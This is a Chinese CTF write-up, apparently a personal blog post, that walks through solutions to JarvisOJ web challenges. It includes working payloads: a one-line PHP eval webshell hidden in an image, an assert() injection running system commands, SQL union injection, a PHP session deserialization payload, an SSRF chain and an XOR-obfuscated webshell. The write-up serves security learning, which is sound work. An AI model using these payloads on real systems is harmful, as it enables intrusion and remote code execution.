接上回书说到JarvisOJ的Web部分题目Part 1,现在继续分解Part 2。
RE?
打开链接下载得到一个udf.so文件,搜索了一下这是个mysql的插件。首先查看mysql插件的存放位置:
然后把下载的文件放到这个目录下面,按照题目提示的help_me()函数一步一步探寻即可找到flag:
Simple Injection
打开是一个登录界面,burp抓包使用sqlmap跑出来username存在注入漏洞,不过由于过滤了空格所以需要加参数—tamper=space2comment
最后得到password的值为334cfb59c9d74849801d5acdcfdaadc3。
解md5后得:eTAloCrEP。
登陆后得到flag:CTF{s1mpl3_1nJ3ction_very_easy!!}
Easy Gallery
打开是一个网站,submit和view界面分别可以上传图片和查看图片:
上传图片有验证,修改上传文件后缀和抓包更改content-type都不行。猜测验证机制在后台并且会检测文件头,那只能选择一句话图片马了。上传之后会返回图片ID,在view界面输入id和type可以看到自己的图片。
但是这并没有什么用啊,没法执行。查看主页url发现一个很有趣的参数page,猜测这个参数存在文件包含漏洞。尝试了一下,提示里有信息:
系统会给文件自动添加一个.php的后缀,尝试%00截断,没有回显。应该是存在截断漏洞,但是被某种方法防护了。猜测是后台过滤了一些东西,找了些提示:
1 | <script language="php">@eval_r($_POST['a']);</script> |
换了一个小马,重新制作图片马,重新上传加首页包含:
Babyphp
打开是一个网站,在About界面提到了GIT,通过weakfilescan扫到了config文件:
猜测存在git泄露,通过GitHack得到网站源代码:
在index.php源代码中发现漏洞:
assert函数解释:
assert(mixed $assertion [, Throwable $exception])
assert()会检查指定的assertion并在结果为FALSE时采取适当的行动.就是说如果assertion是字符串,它将会被assert()当做PHP代码来执行。所以构造payload:page='.system("cat templates/flag.php").'
Inject
根据题目的提示寻找源码,扫到index.php~文件,查看页面源代码:
关于该段源代码的详细分析,推荐参考这篇Blog。
最终构造payload:?table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag获得flag。
WEB?
打开链接只是一个登录框,试了半天的注入,折腾很久毫无收获,查看源码,有个奇怪的app.js:
格式化一下javascript脚本:
输入的密码应该是被以POST方式发送出去了,于是在源代码中找下post,看下能不能发现什么线索:
在这段代码上方不远处找到一个有趣的函数:
把value部分提出来看下:
貌似是个方程组,解一下得到25个解:
data = [81,87,66,123,82,51,97,99,55,95,49,115,95,105,110,116,101,114,101,115,116,105,110,103,125]
1 | flag = '' |
运行python脚本即可获得flag。
phpinfo
打开页面后是源代码:
仔细阅读代码,加上题目提示的phpinfo.php界面看到的phpinfo信息,发现是php的seesion的反序列化问题。具体的问题分析可以看这里。
构造一个上传和post同时进行的情况:
1 |
|
然后构造payload:
1 |
|
生成payload:O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
但是要在双引号前加上反斜杠,防止转义错误;还要在O前面加上“|”:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
利用上面的上传界面随意上传一个文件,然后使用BP截包,把文件名改为payload即可得到flag文件名“Here_1s_7he_fl4g_buT_You_Cannot_see.php”。
然后再次把“_FILE_”改成:”/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php”即可获得flag。
Chopper
首先看到的是一把菜刀:
点击管理员登录提示you are not admin!
查看图片地址为http://web.jarvisoj.com:32782/proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg
一下子精神了,也许是远程文件包含?
再看了一下管理员界面源码:
尝试了加X-Forwarded-For头部,发现并没什么用。
于是构造POC:http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
即可访问到admin目录。
接下来扫描目录,在robots.txt中找到木马文件trojan.php及该木马的源码trojan.php.txt。
但是源码是进行异或处理的:
1 | "#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t")); ${( |
为了知道这个webshell的密码,把木马文件放在本地的Web服务器上执行,通过报错知道密码为360。
最后利用密码POST数据360 = system('ls')
,即可获得flag:CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}。
To Be Continue
JarvisOJ的Web部分题目暂告一段落,还有几题没做,后面有动力做了的话再单独写下WriteUps。最近迷上学习的PWN&Reverse了,虽然他们虐我千百遍,我却仍待他们如初恋(我怎么这么菜啊T.T)。